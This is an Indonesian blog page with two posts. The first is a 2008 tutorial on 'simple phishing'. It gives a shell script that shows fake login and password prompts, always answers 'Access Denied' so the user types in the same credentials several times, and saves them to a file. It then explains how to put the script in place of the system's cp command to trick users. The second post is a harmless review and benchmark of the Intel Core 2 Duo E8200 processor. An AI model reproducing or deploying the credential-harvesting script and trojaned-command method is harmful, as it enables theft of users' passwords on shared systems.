Kotak Buat Nyari-Nyari:

Showing posts with label edan. Show all posts
Showing posts with label edan. Show all posts

Tuesday, July 8, 2008

Teknik Algoritma Phising Sederhana

Penyalahgunaan yang terjadi pada sumber dari tulisan ini bukan menjadi tanggung jawab penulis, tujuan utama dari penulisan ini hanyalah sebagai pembelajaran baik dan pencegahan terhadap akibat dari teknik phising tingkat tinggi. Remember, don’t make your brain as GOD! Make your religion as your brain controller, so you can differentiate which good science for good purpose and whic good science for bad purpose.

Dalam tulisan ini, saya mencoba memberikan contoh sederhana algoritma phising pada linux (menggunakan shell scripting) dan saya hanya akan menjelaskan alur logikanya saja. Kemudian, kalian bisa kembangin sendiri dari alur logika tsb!

Sebagaimana kita tahu, command-command yang ada pada linux bisa juga kita buat sendiri untuk memudahkan keperluan tertentu. Misal: kita sebagai admin, ditugasi membuat 100 user pembelajaran di kelas linux, capek deeeh kalau kita harus bikin satu-satu tuh user!! Makanya kita pake bantuan shell scripting, misalnya dengan cuma ngetik “buatAccount” sudah jadi deh 100 user tersebut, dimana command “buatAccount” itu tadi kita telah buat sendiri yang isinya adalah script untuk membuat account dengan termasuk parameter-parameternya! Kalo bos kasih deadline 3 hari, sisanya bisa kita pake kencan deh sama pacar masing-masing, hehehehehe...karena menulis script-nya dan menjalankannya hanya butuh waktu tidak lebih dari 3 jam!

Maka dari itu, kita bisa manfaatkan pembuatan command tersebut untuk tujuan phising. Kita coba buat dulu script sederhananya seperti ini:

clear

loop=3

until [ $loop = 0 ]; do

read -p "Login: " usr

read -p "Password: " -s pwd

echo ""

echo "Access Denied"

echo -e "Login: $usr \nPassword: $pwd\n " >> filedata

echo ""

loop=`expr $loop - 1`

done;



sederhana kan? Berikut penjelasannya:

clear, command ini untuk membersihkan layar (kalau di cmd-nya windows sama kaya “cls”).

Kemudian ada variabel bertipe number dan diisi angka 3, ini untuk variabel bantu looping saja agar looping berhenti di looping yang ketiga kalinya.

Terus ada read –p “login...... apabila script dijalankan, baris ini akan menghasilkan tampilan “Login: “ pada layar dan meminta user untuk memasukkan user-nya dan menunggu user menekan ENTER untuk melanjutkan. Apabila user sudah menekan ENTER, username yang sudah diinputkan tadi otomatis akan tersimpan di variabel bernama ‘usr’.

Baris read –p “Pass....... gunanya sama dengan baris atasnya, bila baris atas menanyakan user untuk login, baris yang ini menanyakan password pada user dan menyimpannya ke variabel ‘pwd’.

Echo hanya untuk menampilkan pesan ke layar, apabila echo “”, maka menampilkan spasi baris. Access denied di sini hanya untuk mengecoh user bahwa username dan password yang diinputkan tidak cocok (padahal memang kita buat selalu tidak cocok) karena kita ingin mengumpulkan username dan password sebanyak-banyaknya dari inputan user agar kemudian kita bisa benar-benar yakin bahwa username dan password yang ingin kita curi tsb adalah valid! (apabila user cuma input sekali, maka kita cuma punya 1 data username dan password, apabila user benar-benar salah dalam menginputkan datanya maka kita tidak akan tahu kan??). misal kita punya data hasil curian sbb:

Jokosambudi jokopassword

Jokosambudi jokopassword

Jokosambudi jkopassword

Jokosambudi jokopassword

Data yang lebih dari satu seperti di atas, kita akan lebih mudah menyimpulkan bahwa username yang benar adalah jokosambudi dan passwordnya adalah jokopassword karena kita punya data pembanding yang lainnya. Dan kita pasti tahu bahwa joko melakukan kesalahan input pada input yang ke tiga kalinya! Di sinilah gunanya kita mengumpulkan lebih banyak data.

Pada baris berikutnya, echo –e “Login....... berguna untuk mencetak variabel-variabel dan langsung menulisnya ke file bernama “filedata” sehingga proses mencetak variabel ke layar tidak ditampilkan. File inilah yang berisi catatan-catatan username dan password yang telah diinputkan! Dan kita cuma perlu membuka file ini untuk melihat username dan password mereka!

Lalu bagaimana agar mereka mau menjalankan script yang kita buat ini? Tentu hal yang bodoh apabila kita menyuruh user tsb secara langsung bro...!

Kita akan memanfaatkan command lain yang sudah tersedia di linux dan sering dipakai! Misalnya command cp (untuk meng-copy file), cp itu sendiri sebenarnya adalah file yang berisi script seperti di atas tadi namun tujuannya untuk meng-copy file. Misal script phising yang telah kita buat di atas tadi kita beri nama cp, dan file cp yang asli kita replace dengan file cp buatan kita tadi maka jadilah sudah command cp palsu! Apabila user yang awam, mereka tidak akan curiga ketika akan meng-copy file diharuskan memasukkan username dan passowrd terlebih dahulu (padahal terkesan aneh lho...), terlebih lagi file tidak jadi ter-copy (pada script yang kita buat memang tidak kita masukkan perintah untuk copy) karena command cp yang asli telah kita ganti dengan script buatan kita sendiri.

Apabila ada waktu senggang, tinggal kita buka saja filedata. Maka kita bisa lihat siapa-siapa saja yang telah menjadi korban phising kali ini! Hehehehehe...

So be careful with your username and password, be careful if u asked for your username and password!

Sunday, July 6, 2008

Ayo Mencoba Performa Intel Core 2 Duo E8200

Di tulisan pertama ini, saya mencoba memberikan informasi dan review tentang proc yang masih hangat-hangatnya dari Intel. Yaitu, Intel Core 2 Duo E8200 2,66GHz (harga kisaran $175 - $185). Semoga bermanfaat guys!

Kiri: Core 2 Duo E7200. Kanan: Core 2 Duo E8200. Fabrikasi 45nm!

Sejak Core 2 Duo seri E7xxx intel sudah merubah tren fabrikasi proc-nya menjadi 45nm yang diklaim bakal mampu menghemat lebih banyak daya namun tetap powerful karena bisa ditanam lebih banyak L2 cache (hingga 6MB sahred pada E8xxx)! Dan juga tidak ketinggalan salah satu karakteristik Core 2 Duo, yaitu “ADEEMMM...” meskipun E8xxx ini masih ‘sedikit’ lebih hangat beberapa derajat daripada Core 2 Duo seri2 sebelumnya, hal ini wajar dikarenakan penanaman transistor yang jauh lebih banyak dan penggunaan clock speed yang lebih tinggi (clock speed paling rendah E8xxx adalah 2,66GHz pada E8200, bandingkan dengan E6xxx yang 1,86GHz pada E6300).

Sekilas, tampak tidak ada perbedaan antara Core 2 Duo E7200 dan Core 2 Duo E8200, padahal, emang tidak ada perbedaan fisik yang perlu ditelaah lebih lanjut! Hihihi…ya jelas aja tidak ada perbedaan, karena kedua proc ini masih menggunakan package standar intel LGA 775. Kalaupun ingin cari perbedaan fisik, bandingkan aja dengan proc pentium 4 lama yang masih pakai package socket 478. Hehehehe…

My Old n New Processor! (Left: Intel Pentium D 820, Right: Intel Core 2 Duo E8200)

Intel juga semakin memanjakan para gamer dengan proc E8200 barunya ini, saya merasakan peningkatan performa gaming yang sangat signifikan dan sangat terasa sekali daripada proc yang saya gunakan sebelumnya (Pentium D 820 2,8GHz). Padahal saya tetap menggunakan VGA yang sama! Peningkatan fps yang cukup tajam terjadi di semua game yang saya coba mainkan, antara lain: Assassins’s Creed (using DirectX 10), Call of Duty 4 Modern Warfare, Pro Evolution Soccer 2008 (using shader model 3.0), NFS Most Wanted (momok game balapan era lama,hehehehe...), dan ga juga ketinggalan solitaire dari windows! Hehehehehehehehe...

Spesifikasi Teknis Core 2 Duo E8200, dengan CPUz v1.46

Coba aja liat di data set instruction-nya, banyak banget fitur-fitur yang mendukung pemrosesan multimedia! Dan set instruction yang juga baru yaitu SSE 4.1…

Proc ini juga telah menerapkan tren internal clock 333MHz (FSB 1333MHz) yang bakal meningkatkan kinerja overall dari system, dipadu dengan multiplier 8x yang unlocked dan bisa dirubah dalam kisaran 6x, 7x, dan 8x (semakin kecil multiplier, semakin stabil proc) sehingga kita bisa lebih leluasa melakukan overclocking proc ini!

Dan jangan kaget karena liat Vcore yang cuma 1,18V, ini bukan PSU saya yang ga stabil lho ya! ^^, tapi emang default Vcore yang ditetapkan Intel ya segitu! Justru pada box tertera “1,25V Max”, hal ini sudah tidak asing bagi keluarga besar arsitektur proc Core 2, berbeda dengan proc Pentium D kebawah yang Vcore-nya sampai 1,4V Max (default 1,3V) dan hal ini merupakan faktor urgent yang menentukan hot atau tidaknya suatu proc!

Perbandingan Spesifikasi Teknis Beberapa Proc dari Keluarga Core 2 Duo

Perbandingan Spesifikasi per Codename Proc.

Dari beberapa tabel perbandingan di atas, terlihat jelas peningkatan dan penambahan fitur pada proc E8xxx dibandingkan seri proc Core 2 Duo sebelumnya. Intel juga telah melakukan perubahan algoritma unit penghitungannya menjadi lebih baik pada proc E8xxx yang dapat meningkatkan performa ALU-nya.

BENCHMARKING ROOM

Software benchmark yang saya gunakan:

· SiSoftware Sandra Lite XII.SP2c (v 14.24)

· Everest 4.20.1170 Final Ultimate Edition

· 3DMark05 patch 1.20

· 3DMark06 patch 1.02

· 3DMark Vantage 1.01

Platform PC yang saya gunakan:

· Proc Intel Core 2 Duo E8200 2,66GHz (333 x 8) FSB 1333MHz

· Mainboard Asus P5B-E chipset Intel P965, BIOS 1802

· Memory 2 x Kingston 1GB DDR2 667Mhz @835MHz (OC nanggung, hehehe…) timing 5-5-5-15

· VGA DigitalAlliance nVidia GeForce 8600GTS (675MHz, 2000MHz) driver ForceWare 175.19

· Harddisk Seagate Barracuda 320GB SATA2

· PSU AcBell Premium 550W

· OS Windows Vista Ultimate SP1, activated (OS ini bikin penurunan overall performa system 20% sampai 25% dibandingkan Windows XP!, nilai benchmark mungkin akan lebih rendah)

· DirectX 10

· Partisi dengan complete defragmented

· Windows Firewall ON, Windows Defender ON, AVG 7.5.523 ON, Windows Aero ON

· Suhu ruangan stabil 27°C – 28°C (merupakan faktor yang sedikit berpengaruh terhadap performa system)

Saya juga akan menyertakan tabel-tabel benchmark referensi dari sumber lain yang konfigurasi platform PC-nya berbeda, so don’t compare it with my own benchmark result please!

SiSoftware Sandra Lite XII.SP2c (v 14.24)

Processor Arithmetic: (Proc lain dari reference SiSoft Sandra)

Processor Multi-Media: (Proc lain dari reference SiSoft Sandra)

Everest 4.20.1170 Final Ultimate Edition (Proc lain dari reference Everest)

3DMark05 Patch 1.20



Menggunakan setting default, langsung “run 3DMark”. Disini bisa dilihat score dari CPU yang sangat tinggi, bahkan score ini lebih tinggi daripada proc Intel Core 2 Duo E6750 yang merupakan penerus dari E6700, dimana E6750 memiliki bus dan L2 cache yang lebih tinggi daripada E6700 (333MHz vs. 266MHz, dan 4MB vs. 2MB). Tapi mohon maaf yang sebesar-besarnya saya tidak dapat menampilkan score E6750 secara langsung dengan platform PC yang saya gunakan karena saya tidak dapat sample produknya (bahkan E8200 yang saya pakai ini hasil modal sendiri L). Namun tetap akan saya tampilkan perbandingannya (di halaman bawah) yang saya kutip dari sumber lain.



3DMark06 Patch 1.02

3DMark Vantage Patch 1.01

Sama halnya dengan hasil benchmark 3DMark sebelum-sebelumnya, pada 3DMark vantage yang dirancang khusus OS Windows Vista ini, proc E8200 mampu memberikan score tinggi dan sangat memuaskan bagi kalangan gamer tentunya! Dengan setting benchmark default, Core 2 Duo E8200 mampu meraih score hingga 6000an.

Dan dari beberapa score gaming dengan 3DMark di atas, saya dapat menyimpulkan secara sepihak bahwa konfigurasi dan platform PC yang saya gunakan ternyata menjadi bottleneck pada VGA-nya. Akan sangat disayangkan apabila gamer memadukan Core 2 Duo ini dengan GeForce 8600GTS untuk platform yang dirancang sebagai PC Gaming. Sebenarnya performa gaming dari Core 2 Duo E8200 masih bisa di-explore lebih jauh apabila dipadukan dengan VGA card yang seimbang, dan rekomendasi saya untuk VGA yang digunakan untuk disandingkan dengan proc ini adalah VGA sekelas GeForce 8800GTS ke atas atau ATI sekelas 3870 ke atas. Sangat disayangkan kan, apabila proc yang seharusnya bisa berlari lebih cepat dalam pemrosesan gaming-nya tapi justru ‘terpaksa’ lari lebih pelan mengikuti “bos”-nya (dalam hal ini adalah VGA), dan alangkah baiknya apabila proc dan VGA berlari berdampingan dengan sangat cepatnya tanpa harus ada yang “mengurangi KEMAMPUAN BERLARINYA”.

Namun apabila platform PC tersebut sengaja tidak digunakan untuk Enthusiast Gaming, dan menjadikan GeForce 8600GTS tersebut “hanya” sebagai pelengkap system, maka konfigurasi seperti itu sudah sangat lebih dari cukup! Tergantung bagaimana anda menyikapinya…

Reference Benchmark Room

www.tomshardware.com

www.tomshardware.com

www.tomshardware.com

www.hardspell.com

Conclusion Room

Tiba saatnya untuk menyimpulkan berdasarkan data-data di atas, apakah Core 2 Duo E8200 adalah proc yang layak pakai. Tentu saja untuk menyimpulkan kelayakan tersebut, tidak hanya dilihat dari performanya saja, melainkan juga dari harganya! Disini saya akan mempertimbankan juga perbandingan harga dan performa yang paling baik.

Dari hasil benchmark, E8200 ($175 - $185) merupakan proc baru yang cukup tangguh dan bahkan bisa melampaui performa dari E6750 ($195 - $205) yang merupakan penerus/pengganti proc E6700 yang sudah langka di pasaran. Perbedaan E8200 dan E6750 secara teknis hanyalah pada proses fabrikasi dan jumlah L2 cache, E8200 sudah mengadaptasi teknologi 45nm sedangkan E6750 masih menggunakan fabrikasi yang sama dengan generasi pertama Core 2 Duo (codename: conroe) yaitu 65nm. Pada L2 cache, E8200 juga lebih besar daripada E6750 yang masih 4MB (E8200 sudah 6MB). Nah sampai sini, tentu kita sudah bisa menentukan pilihan apabila dihadapkan dengan kedua proc ini!

Perhatikan, E6750 yang lebih mahal ternyata justru lebih “kuno” dan “ketinggalan” dengan teknologi E8200

Lalu bagaimana apabila E8200 dibanding dengan E8400 dan E6850 (kedua proc ini juga hampir sama dan identik). Secara performa, sudah jelas E8400 ($200 - $210) lebih baik daripada E8200! Bahkan E8400 juga mampu melangkahi E6850, dan asal tahu saja, harga Core 2 Duo E6850 di pasaran rata-rata masih DI ATAS $275 padahal teknologi dan performanya masih di bawah E8400! Sampai sini, jelas saja E6850 langsung kita singkirkan dari pilihan tanpa pikir panjang lagi.

Teknologi kuno yang masih saja MAHAL!

Sekarang kita tinggal dihadapkan kepada 2 pilihan proc, yaitu E8200 ($175 - $185) atau E8400 ($200 - $210)?? Perlu diketahui, clock speed kedua proc ini terpaut cukup jauh namun harganya tidak terpaut jauh kan? Hanya berbeda $20, dalam rupiah “hanya” berbeda 180ribuan! Mengapa saya bilang clock speed-nya terpaut cukup jauh? Coba lihat lagi tabel di bawah:

Lihat antara E8400 dan E8500, dengan perbedaan clock speed (hanya clock speed yang dibandingkan, karena tidak ada perbedaan lainnya antara 2 proc ini) yang sangat tipis seperti itu (hanya beberapa MHz) peningkatan performa tidak akan terlalu berasa! Bahkan bisa dibilang hampir TIDAK ADA! Namun intel mematok harga yang kurang logis dan rasional untuk E8500 itu, di pasaran kini harga E8500 bisa sampai $300 lebih! Masa mau sih, ngeluarin duit 3jt untuk proc yang performa-nya sama kaya proc yang harganya Cuma 1,9jt??

So apa salahnya kan, nabung dikit lagi untuk beli E8400 daripada E8200. Ingat, selisih clock speed-nya lumayan jauh! Bayangin, cuma beda 180ribuan aja lho. Daripada menyesal di kemudian hari, hehehehehe…

Dan akhirnya, saya memberikan perbandingan layak beli:

- 60% untuk Intel Core 2 Duo E8400 (3GHz, 6MB L2 cache, FSB 1333MHz, 45nm)

- 39% untuk Intel Core 2 Duo E8200 (2,66GHz, 6MB L2 cache, FSB 1333MHz, 45nm)

- 1% untuk processor2 lainnya yang masuk dalam review saya kali ini!

Thanks 4 u all…

Semoga bermanfaat!